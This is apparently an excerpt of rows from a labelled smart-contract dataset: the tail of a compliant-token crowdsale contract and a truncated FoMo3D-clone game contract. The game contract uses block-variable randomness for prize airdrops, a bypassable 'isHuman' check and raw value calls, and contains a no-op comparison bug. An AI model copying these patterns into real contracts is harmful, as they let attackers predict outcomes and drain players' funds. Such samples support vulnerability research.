transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
msg.sender,
_to,
_value,
transferFee,
address(0)
);
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
_from,
_to,
_value,
transferFee,
msg.sender
);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(
from,
to,
value,
fee
);
emit Transfer(
from,
to,
value
);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(
from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason
);
delete pendingTransactions[nonce];
}
}
contract CompliantCrowdsale is Validator, FinalizableCrowdsale {
Whitelist public whiteListingContract;
struct MintStruct {
address to;
uint256 tokens;
uint256 weiAmount;
}
mapping (uint => MintStruct) public pendingMints;
uint256 public currentMintNonce;
mapping (address => uint) public rejectedMintBalance;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
event MintRejected(
address indexed to,
uint256 value,
uint256 amount,
uint256 indexed nonce,
uint256 reason
);
event ContributionRegistered(
address beneficiary,
uint256 tokens,
uint256 weiAmount,
uint256 nonce
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event Claimed(address indexed account, uint256 amount);
constructor(
address whitelistAddress,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
MintableToken _token,
address _owner
)
public
FinalizableCrowdsale(_owner)
Crowdsale(_startTime, _endTime, _rate, _wallet, _token)
{
setWhitelistContract(whitelistAddress);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function buyTokens(address beneficiary)
public
payable
checkIsInvestorApproved(beneficiary)
{
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
pendingMints[currentMintNonce] = MintStruct(beneficiary, tokens, weiAmount);
emit ContributionRegistered(beneficiary, tokens, weiAmount, currentMintNonce);
currentMintNonce++;
}
function approveMint(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingMints[nonce].to)
returns (bool)
{
weiRaised = weiRaised.add(pendingMints[nonce].weiAmount);
token.mint(pendingMints[nonce].to, pendingMints[nonce].tokens);
emit TokenPurchase(
msg.sender,
pendingMints[nonce].to,
pendingMints[nonce].weiAmount,
pendingMints[nonce].tokens
);
forwardFunds(pendingMints[nonce].weiAmount);
delete pendingMints[nonce];
return true;
}
function rejectMint(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingMints[nonce].to)
{
rejectedMintBalance[pendingMints[nonce].to] = rejectedMintBalance[pendingMints[nonce].to].add(pendingMints[nonce].weiAmount);
emit MintRejected(
pendingMints[nonce].to,
pendingMints[nonce].tokens,
pendingMints[nonce].weiAmount,
nonce,
reason
);
delete pendingMints[nonce];
}
function claim() external {
require(rejectedMintBalance[msg.sender] > 0);
uint256 value = rejectedMintBalance[msg.sender];
rejectedMintBalance[msg.sender] = 0;
msg.sender.transfer(value);
emit Claimed(msg.sender, value);
}
function finalization() internal {
transferTokenOwnership(validator);
super.finalization();
}
function setTokenContract(address newToken)
external
onlyOwner
checkIsAddressValid(newToken)
{
token = CompliantToken(newToken);
}
function transferTokenOwnership(address newOwner)
public
onlyOwner
checkIsAddressValid(newOwner)
{
token.transferOwnership(newOwner);
}
function forwardFunds(uint256 amount) internal {
wallet.transfer(amount);
}
} | 1 | 4,025 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMoGame is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
ForwarderInterface constant private Team_Forwarder = ForwarderInterface(0xfe373e4c13ed07962ffa546d1f0be2298d5493b0);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x463a61560e0EFF1a7ec771eeb9fd1c93fb075c2E);
address private backup = 0x7298EFD119A830edab6C442632EEff14292609B0;
string constant public name = "FoMoStar";
string constant public symbol = "FGame";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(36,0);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(66,0);
fees_[3] = F3Ddatasets.TeamFee(50,0);
potSplit_[0] = F3Ddatasets.PotSplit(20,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(40,0);
potSplit_[3] = F3Ddatasets.PotSplit(45,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000001 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Team_Forwarder).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
{
if (!address(Team_Forwarder).call.value(_p3d)(bytes4(keccak256("deposit()")))){
_res = _p3d.add(_res);
}
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
